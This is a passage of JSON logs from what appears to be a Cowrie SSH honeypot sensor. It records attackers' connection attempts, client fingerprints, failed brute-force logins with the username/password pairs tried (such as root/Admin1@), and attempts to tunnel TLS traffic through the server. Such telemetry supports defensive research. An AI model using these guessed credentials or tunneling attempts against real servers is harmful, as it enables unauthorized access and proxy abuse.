\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xf0)\\xe5\\xac\\xd8qu\\xc6y\\xde\\xc1)\\xf2\\xb5\\xf1\\xbbf\\xfe\\x93\\xf0,r\\xba\\x893\\xabz\\x1b\\xbd\\xe6\\xf9 \\xe9\\xd3=gv\\xc8\\x8eY\\xb1\\xd07~!f\\xfb\\xbeK\\xc0\\xa7'g{\\x0b\\xb0\\x0f\\xbft\\x8bm\\x96^}\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 6\\x05\\xbc~{,\\xf4g\\xda?\\x03\\xc9\\xd6\\xf1\\xa5\\xbcf\\xac\\x14EoU\\xd2\\xca\\x8b\\x81\\xa8\\xbe\\xd8\\xfd\\x04T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:06.609428Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45288,"dst_ip":"159.203.135.109","dst_port":22,"session":"b44f9cd28296","protocol":"ssh","message":"New connection: 91.92.40.36:45288 (159.203.135.109:22) [session: b44f9cd28296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:07.057882Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:07.088225Z","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:07.342225Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\xb0\\x05\\xfcQ4\\x9br=\\xf1\\xc9\\xaeL\\x89z\\x7fK\\xe2\\xc9\\xde\\xf6\\x9dS\\xc9\\xa0\\xcb\\xab\\xe0W]\\xf0\\xdd \\xce\"\\x90 \\xdf\\xe7\\x89v\\x83\\x94Jq\\x95\\xcb\\xd9\\xc7\\xe7f\\xa5l\\xf3 \\x03\\x9b\\xf7lM\\xda\\x80\\xcf\\x92\\xa9\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\xac\\xf8\\xf7&\\xd7\\x0b;\\xe9Sh\\xc6\\xd0\\x8eP\"#\\xba\\xba\\n\\xffZc\\x14Y\\xa8\\xc2]\\xbe_\\xado\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\xb0\\x05\\xfcQ4\\x9br=\\xf1\\xc9\\xaeL\\x89z\\x7fK\\xe2\\xc9\\xde\\xf6\\x9dS\\xc9\\xa0\\xcb\\xab\\xe0W]\\xf0\\xdd \\xce\"\\x90 \\xdf\\xe7\\x89v\\x83\\x94Jq\\x95\\xcb\\xd9\\xc7\\xe7f\\xa5l\\xf3 \\x03\\x9b\\xf7lM\\xda\\x80\\xcf\\x92\\xa9\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\xac\\xf8\\xf7&\\xd7\\x0b;\\xe9Sh\\xc6\\xd0\\x8eP\"#\\xba\\xba\\n\\xffZc\\x14Y\\xa8\\xc2]\\xbe_\\xado\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:07.345234Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:07.667750Z","src_ip":"123.27.168.40","session":"ed8d4d4f721b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:07.780388Z","src_ip":"91.92.40.36","session":"b44f9cd28296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:07.783575Z","src_ip":"91.92.40.36","session":"b44f9cd28296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraftminecraft","message":"login attempt [minecraft/minecraftminecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:08.482457Z","src_ip":"91.92.40.36","session":"6a25b1b60810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:10.818521Z","src_ip":"91.92.40.36","session":"6a25b1b60810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wasd","message":"login attempt [admin/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:10.942580Z","src_ip":"91.92.40.36","session":"b44f9cd28296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:12.386129Z","src_ip":"91.92.40.36","session":"b44f9cd28296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45346,"dst_ip":"159.203.135.109","dst_port":22,"session":"78043ba08389","protocol":"ssh","message":"New connection: 91.92.40.36:45346 (159.203.135.109:22) [session: 78043ba08389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:14.668010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:15.287423Z","src_ip":"91.92.40.36","session":"78043ba08389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:15.291571Z","src_ip":"91.92.40.36","session":"78043ba08389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"isaac","password":"isaac","message":"login attempt [isaac/isaac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:19.332349Z","src_ip":"91.92.40.36","session":"78043ba08389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:21.448138Z","src_ip":"91.92.40.36","session":"78043ba08389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53022,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7ec0e48bf20","protocol":"ssh","message":"New connection: 91.92.40.36:53022 (159.203.135.109:22) [session: b7ec0e48bf20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:22.898165Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52814,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f07fcc2253","protocol":"ssh","message":"New connection: 27.71.230.31:52814 (159.203.135.109:22) [session: 50f07fcc2253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:25.596492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:25.668759Z","src_ip":"27.71.230.31","session":"50f07fcc2253","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:25.738908Z","src_ip":"91.92.40.36","session":"b7ec0e48bf20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:25.742674Z","src_ip":"91.92.40.36","session":"b7ec0e48bf20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:27.090259Z","src_ip":"27.71.230.31","session":"50f07fcc2253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60728,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aeb36ed0008","protocol":"ssh","message":"New connection: 91.92.40.36:60728 (159.203.135.109:22) [session: 5aeb36ed0008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:29.058724Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1@","message":"login attempt [root/Admin1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:29.835651Z","src_ip":"27.71.230.31","session":"50f07fcc2253","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:29.839556Z","src_ip":"91.92.40.36","session":"5aeb36ed0008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"]